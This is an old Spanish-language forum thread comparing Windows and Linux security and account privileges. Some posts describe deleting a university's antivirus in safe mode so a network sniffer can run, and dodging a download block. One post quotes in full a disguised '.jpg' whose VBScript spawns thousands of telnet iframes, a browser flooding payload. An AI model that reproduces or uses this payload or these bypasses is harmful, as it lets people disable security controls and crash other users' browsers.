162 replies to this topic

[bandro]

Pues yo principalmente no uso Linux pq despues de pasarme un mes cacharreando con él y con mi pc...al final no he podido llegar a conectarme a internet...no he podido configurar mi jodio winmodem(q mania le he cogio al mamon XD)...asin q de momento con Windows y si algun dia me pongo adsl pues ya me pasaré eso seguro...
Un saludo a todos.

[Bad_CRC]

Bueno, en windows te puedes cargar el equipo tanto si estas como administrador como si no.

en linux cuando no estás como root, solo tienes acceso a los programas que has instalado siendo ese usuario, y a esas configuraciones, puedes tener 30 configuraciones para un mismo programa si tienes 30 usuarios distintos, cosa que en windows, algo que instalas siendo el administrado o un usuario, lo pueden usar todos.

lo unico que hacen el no ser administrador en windows, es no dejarte instalar programas, no dejarte acceder a algunos dispositivos (por ejemplo, no dejarte acceder a una camara usb ) y prohibirte la entrada a algunas carpetas, pero vamos si la kieres liar la lias.

en linux eso es imposible, si estas como usuario, y lias algo siempre puedes entrar como root y arreglarlo; y tienes mucha más libertad (si tu cuenta lo tiene claro, puedes dar los derechos ke kieras a los usuarios, no a lo predeterminado como en windows) para hacer lo que quieras.

[DyDyMan]

Yo uso Windows más que nada porque en el trabajo es lo que hay. No obstante, tengo como asignatura pendiente reorganizar mi PC y montarle una distro de Linux, que me atrae también bastante. Como ya han dicho otros antes, no me parece nada constructivo que quien usa un sistema ponga a parir al otro. A mí me parecen todos muy bien, cada uno con sus pros y sus contras. Personalmente he tenido oportunidad de trastear un poco con un Unix System V, con BeOS, incluso he trabajado algún tiempo en terminales de un sistema MicroVAX. Pero el sistema que más conozco y utilizo constantemente es Windows. Y he hecho de todo sin que se me inestabilice.

[Mode=batallitas]
Cuando tenía mi 486 con su MS-DOS y su Win3.1 y salió el Win95, lo instalé en un HD de 212 MB. Imaginaos cómo se quedó el pobre cuando le instalé el Office 95 y un par de tonterías más... Pues eso, con una miseria de espacio libre para hacer swapping con los 16MB de RAM que tenía. Bien, pues compré un HD de 1GB, lo conecté como esclavo, lo particioné, formateé, le traspasé el núcleo con "sys d:" desde c:, y finalmente, xcopy a lo bestia de todo C: en D:
Luego, apagar, cambiar el esclavo a maestro y viceversa, arrancar con diskette de arranque, fdisk, activar la partición del disco de 1GB y reiniciar. Perfecto sin un solo problema. Todavía funciona hoy perfectamente.
Cuando me iba muy lento porque tenía mucha fragmentación en el fichero del Registro de Windows, se me ocurrió otra burrada: como el Registro no se podía compactar, me propuse eliminarlo y volverlo a crear desde cero a partir de una exportación a texto. Hubiera sido cojonudo de no ser por un pequeño detalle no documentado por los señores de Microsoft: la versión DOS de Regedit.exe del Win95 no usa memoria extendida
Bueno, no pasa nada: preparé un Registro mínimo que me permitiese arrancar Win95 y leer archivos *.reg y, tras pasar por un arranque lleno de interminables popups de errores del sistema, hice doble click en el archivo *.reg con todo el backup de mi Registro. Reiniciar, cruzando los dedos y... ¡otia, perfecto! Y yo diría que un 20% más rápido que antes, al estar el Registro compactado y en bloques contiguos. [/batallitas]

Así que, me entenderéis que no me tome muy en serio a la gente que pone un sistema por los suelos a la primera de cambio. En el trabajo, estoy al cargo de una red local con un Dominio de Windows2000 que funciona a la perfección y no ha dado ni un solo problema gordo desde que se montó (eso sí, pequeños dolores de cabeza, los da de cuando en cuando )

Por finalizar tengo una duda q a ver si me podeis resolver, es que aun no tengo muy claro eso del root, porque a mi me han dicho q con Windows tb se puede hacer, se puede crear una cuenta de administrador y luego otras cuentas que no podran acceder a cosas del administrador, que de hecho lo miro y es lo que hay en la uni, no se puede joder el windows por mucha mierda q le metas porque no lo puedes controlar, no eres admin, pero no se pq creo que es mas seguro el linux pero no se pq, quizas sea en niveles mas avanzados, explicadmelo please, es q el windows no lo veo tan malo, solo es saberlo controlar.

Pues sí, se pueden crear cuentas de usuario con diferentes privilegios, exactamente igual (creo) que en UNIX. De forma que sólo los usuarios con privilegios administrativos pueden realizar tareas como instalación/desinstalación de programas, tocar los drivers, mangonear las colas de impresión, etc. Y de igual modo se pueden asignar permisos a los archivos y carpetas (en NTFS) para impedir accesos no autorizados. Y en un dominio de Windows, puedes realizar las tareas de configuración de permisos, perfiles y configuraciones de equipos directamente en el controlador del dominio, mediante plantillas, de forma que los equipos se autoconfiguran con ellas cuando inician sesión.

[Xdye]

Pues sí, se pueden crear cuentas de usuario con diferentes privilegios, exactamente igual (creo) que en UNIX. De forma que sólo los usuarios con privilegios administrativos pueden realizar tareas como instalación/desinstalación de programas, tocar los drivers, mangonear las colas de impresión, etc. Y de igual modo se pueden asignar permisos a los archivos y carpetas (en NTFS) para impedir accesos no autorizados. Y en un dominio de Windows, puedes realizar las tareas de configuración de permisos, perfiles y configuraciones de equipos directamente en el controlador del dominio, mediante plantillas, de forma que los equipos se autoconfiguran con ellas cuando inician sesión.

Bueno, en windows te puedes cargar el equipo tanto si estas como administrador como si no.

en linux cuando no estás como root, solo tienes acceso a los programas que has instalado siendo ese usuario, y a esas configuraciones, puedes tener 30 configuraciones para un mismo programa si tienes 30 usuarios distintos, cosa que en windows, algo que instalas siendo el administrado o un usuario, lo pueden usar todos.

lo unico que hacen el no ser administrador en windows, es no dejarte instalar programas, no dejarte acceder a algunos dispositivos (por ejemplo, no dejarte acceder a una camara usb ) y prohibirte la entrada a algunas carpetas, pero vamos si la kieres liar la lias.

Esto es lo q no entiendo, estas contradicciones, porque ya me lo han dicho muchos usuarios de linux q eso es una gran ventaja de linux pero en cambio otra gente de windows me ha dicho q eso se puede hacer igual, no se cual es cierta hasta cierto punto, como te puedes cargar windows con todas las restricciones q dice Dydyman?
Y no se, gente q me ha dicho q ha estudiado el codigo (hasta donde se puede ver) de windows me ha dicho q no es tan malo...

[Deadsunrise]

no se puede hacer igual, veamos. Se puede hacer en un dominio windows 2000, o sea, teniendo a un servidor de dominio guardando los usuarios remotamente. En el Xp lo mas parecido que hay son las cuentas de administrador, limitada o algo asi y invitado. W2k creo que dejaba configurar mas.

Bueno, a lo que voy, que tampoco se habla de eso exactamente, por ejemplo en la uni tienen instalado un puto antivirus, son todo w2k en un dominio y los estudiantes no podemos hacer ni ostias (no hay permisos para casi nada). El caso es que necesitaba joder el antivirus para poder ejecutar un sniffer (ejecutar si deja, instalar no) y darle una pasada a la red.

Solucion? reinicio a prueba de fallos sin red (se pasa el server de dominio por el culo) borro los ejecutables del antivirus y reinicio normal. Al no arrancar el antivirus pude meter el sniffer. Eso mismo se puede hacer reventando el sistema operativo (si te pones a borrar dlls por ejemplo) pero en linux es IMPOSIBLE si no se tiene el password de root.


La seguridad de windows a nivel de que se pueda o no joder el ordenador es bastante cutre comparada con un linux con jailroot si tienes usuarios virutales (sino no hace falta)

[Dubliner]

En teoria, por lo poco que he trasteado sistemas de windows basados en NT (ya que los basados en win95 si que se podian joder) si no estás como administrador de sistema es practicamente imposible joder el equipo. Con los permisos a las cuentas puedes restringirle mucho el acceso a las zonas "problematicas" del sistema.

Lo que nunca he intentado, es con una cuenta de usuario arrancar una consola de comandos y poner Format c:

[DyDyMan]

Esto es lo q no entiendo, estas contradicciones, porque ya me lo han dicho muchos usuarios de linux q eso es una gran ventaja de linux pero en cambio otra gente de windows me ha dicho q eso se puede hacer igual, no se cual es cierta hasta cierto punto, como te puedes cargar windows con todas las restricciones q dice Dydyman?
Y no se, gente q me ha dicho q ha estudiado el codigo (hasta donde se puede ver) de windows me ha dicho q no es tan malo...

A mí me da en la nariz que hay mucha gente que se piensa que NT es más o menos lo mismo que Win9x. Y hay mucha diferencia. En un Win9x con sistema de ficheros FAT, no hay protección ninguna contra gamberradas, despistes o ignorantes. En un sistema NT (WinNT, Win2000, WinXP) con sistema de ficheros NTFS, un usuario sin permisos para tocar un archivo no puede tocarlo, y no hay vuelta de hoja. Cuando configuras un sistema NT en condiciones, te encuentras con un nivel de sofisticación semejante al de UNIX. Pero en la inmensa mayoría de los sitios te encuentras con que te montan el sistema de cualquier manera, con FAT32 en vez de NTFS y sin seguridad ninguna, porque es un coñazo de mantener, y necesita una persona cualificada para mantenerlo. Como decía aquél anuncio del aceite de motores, "se pide lo que se pide y pasa lo que pasa"

[phib]

Bueno, a lo que voy, que tampoco se habla de eso exactamente, por ejemplo en la uni tienen instalado un puto antivirus, son todo w2k en un dominio y los estudiantes no podemos hacer ni ostias (no hay permisos para casi nada). El caso es que necesitaba joder el antivirus para poder ejecutar un sniffer (ejecutar si deja, instalar no) y darle una pasada a la red.

Solucion? reinicio a prueba de fallos sin red (se pasa el server de dominio por el culo) borro los ejecutables del antivirus y reinicio normal. Al no arrancar el antivirus pude meter el sniffer. Eso mismo se puede hacer reventando el sistema operativo (si te pones a borrar dlls por ejemplo) pero en linux es IMPOSIBLE si no se tiene el password de root.

Esto me recuerda una vez ke tenia delante un win2k y tenia deshabilitada la descarga de archivos. Total ke abro una consola y me bajo por ftp el wget y a bajar por http sin problemas xDD

[**//Zero//**]

Windows: es con lo que siempre me maneje.
Para mandarme a linux tengo que dedicarle mucho tiempo a aprender a manejarlo. = tarde o temprano se que lo voy a tener que aprender por la facultad.

[phib]

Ke maravilloso es windows y su IE...

[TECmono]

Ke maravilloso es windows y su IE...

ja..con q posteando virus phib!, el norton no lo deja

[phib]

ja..con q posteando virus phib!, el norton no lo deja

Lo mas triste es ke es una simple imagen, y yo no lo llamaria virus precisamente (abrir la "imagen" con notepad para mayor sorpresa xD).

[Deadsunrise]

Lo de la imagen esa creo que es el mejor puto fallo de seguridad que le han encontrado a win en la historia, dicen que con curro se puede llegar a ejecutar codigo, seria un descojono porque todo dios esta convencido de que las imagenes no pueden contener virus pero ahora gracias a microsoft si.

[Asher Drake]

creo ke Linux actualmente no es del todo accesible al usuario común cono conocimientos minimos tirando a medios, por eso de momento no es alternativa a Windows al 100%.
Solo usuarios expertos se decantan por el, y aún así algunos ke podrian usarlo prefieren no liarse, como yo

Nop... lo que pasa es que todo cambia requiere una adaptacion a veces minima pero adaptacion, o me diras que no notaste ni un segundo la diferencia entre Mozilla Firebird (Firefox si lo usas) y Internet Explorer?...

Y tambien hay mucho "sindrome de Estocolmo" he podido comprobar que a una persona que NUNCA ha usado NI WINDOWS NI GNU/LINUX le cuesta EXACTAMENTE LO MISMO aprender ambos...

Lo que parece que es un problema (para algunos) es que hay VARIEDAD... no hay ninguna distribucion que diga:

- De correo electronico: Kmail
- De XXX: esto
- De YYY: esto otro

Si no que todas son:

- De correo electronico: Elige entre Kmail, Mutt, Evolution, Thunderbird, Sylpheed, Sylpheed-claws, etc

Para mi esa variedad es una ventaja, quiza para alguna gente NO...

De todas formas el sistema actual del mac es un linux, se podrian sumar los dos y seria un 6.3 frente a windows. (de todas formas creo que los dos porcentajes son bajos).

El sistema actual del Mac NO ES un 'linux', GNU/Linux es "Unix-Like" (estilo Unix) y el Mac OS X usa de base un BSD (Que ES un UNIX al 100%)...

[danipage]

joderrrrrrrr, la hostia con la puta imagen esa

primero el outlook facilita la entrada de virus con los correos html, luego la mierda de los CLASSID q no se ven en las extensiones de fichero y ahora el explorer con las imágenes

esto es lo q contiene la tal "penja-msie.jpg"

<html>
<body>
<H1> Eines! vs M$$! </H1>
<script type="text/vbscript">
for a=1 to 800
document.write("<iframe src=" + chr(34) + "telnet://www.microsoft.com:80" + chr(34) + ">")
next
</script>
<script type="text/vbscript">
for a=1 to 800
document.write("<iframe src=" + chr(34) + "telnet://www.microsoft.com:80" + chr(34) + ">")
next
</script>
<script type="text/vbscript">
for a=1 to 800
document.write("<iframe src=" + chr(34) + "telnet://www.microsoft.com:80" + chr(34) + ">")
next
</script>
<script type="text/vbscript">
for a=1 to 800
document.write("<iframe src=" + chr(34) + "telnet://www.microsoft.com:80" + chr(34) + ">")
next
</script>
<script type="text/vbscript">
for a=1 to 800
document.write("<iframe src=" + chr(34) + "telnet://www.microsoft.com:80" + chr(34) + ">")
next
</script>
<script type="text/vbscript">
for a=1 to 800
document.write("<iframe src=" + chr(34) + "telnet://www.microsoft.com:80" + chr(34) + ">")
next
</script>
<script type="text/vbscript">
for a=1 to 800
document.write("<iframe src=" + chr(34) + "telnet://www.microsoft.com:80" + chr(34) + ">")
next
</script>
<script type="text/vbscript">
for a=1 to 800
document.write("<iframe src=" + chr(34) + "telnet://www.microsoft.com:80" + chr(34) + ">")
next
</script>
<script type="text/vbscript">
for a=1 to 800
document.write("<iframe src=" + chr(34) + "telnet://www.microsoft.com:80" + chr(34) + ">")
next
</script>
<script type="text/vbscript">
for a=1 to 800
document.write("<iframe src=" + chr(34) + "telnet://www.microsoft.com:80" + chr(34) + ">")
next
</script>
<script type="text/vbscript">
for a=1 to 800
document.write("<iframe src=" + chr(34) + "telnet://www.microsoft.com:80" + chr(34) + ">")
next
</script>
<script type="text/vbscript">
for a=1 to 800
document.write("<iframe src=" + chr(34) + "telnet://www.microsoft.com:80" + chr(34) + ">")
next
</script>
<script type="text/vbscript">
for a=1 to 800
document.write("<iframe src=" + chr(34) + "telnet://www.microsoft.com:80" + chr(34) + ">")
next
</script>
<script type="text/vbscript">
for a=1 to 800
document.write("<iframe src=" + chr(34) + "telnet://www.microsoft.com:80" + chr(34) + ">")
next
</script>
<script type="text/vbscript">
for a=1 to 800
document.write("<iframe src=" + chr(34) + "telnet://www.microsoft.com:80" + chr(34) + ">")
next
</script>
</body>
</html>

[Xdye]

Bueno a todo esto, tengo otra pregunta, que es mejor linux o el nuevo MacOS X?

[danipage]

la puta hostia con el código anterior... se me ha ocurrío pegarlo en un foro q tenía el soporte HTML activado y adivinad lo q ha pasao cuando le he dao a la vista previa... infinitas ventanas de telnet abriéndose sin cesar en mi explorer (ni antivirus, ni parches ni hostias )

menos mal q no se me ha ocurrío publicarlo porque sino todos los visitantes de dicho foro iban a flipar en colores

a tomar por culo el explorer definitivamente ya

menos mal q frozen solo soporta BBCode

[phib]

menos mal q frozen solo soporta BBCode

En esos casos se puede echar mano del codigo metido en un inocente jpg... xD

[danipage]

En esos casos se puede echar mano del codigo metido en un inocente jpg... xD

bueno, te cuento: si la imagen va embebida en una página web (como en este caso) entonces el Norton te salva la vida

pero si usais Internet Explorer y se os ocurre pinchar aquí:

http://www.eines.inf.../penja-msie.jpg

no os salva ni Dios

(y si el foro soporta HTML no os salva ni Dios tampoco )

Este tema ha sido editado por danipage: 17 February 2004 - 06:02 PM

[Bad_CRC]

A mi me han dicho ke es mejor el Mac OS 10.2 ke el 10.3, que el .3 salio con bastantes bugs y que peta lo suyo, aunque si que es rapido.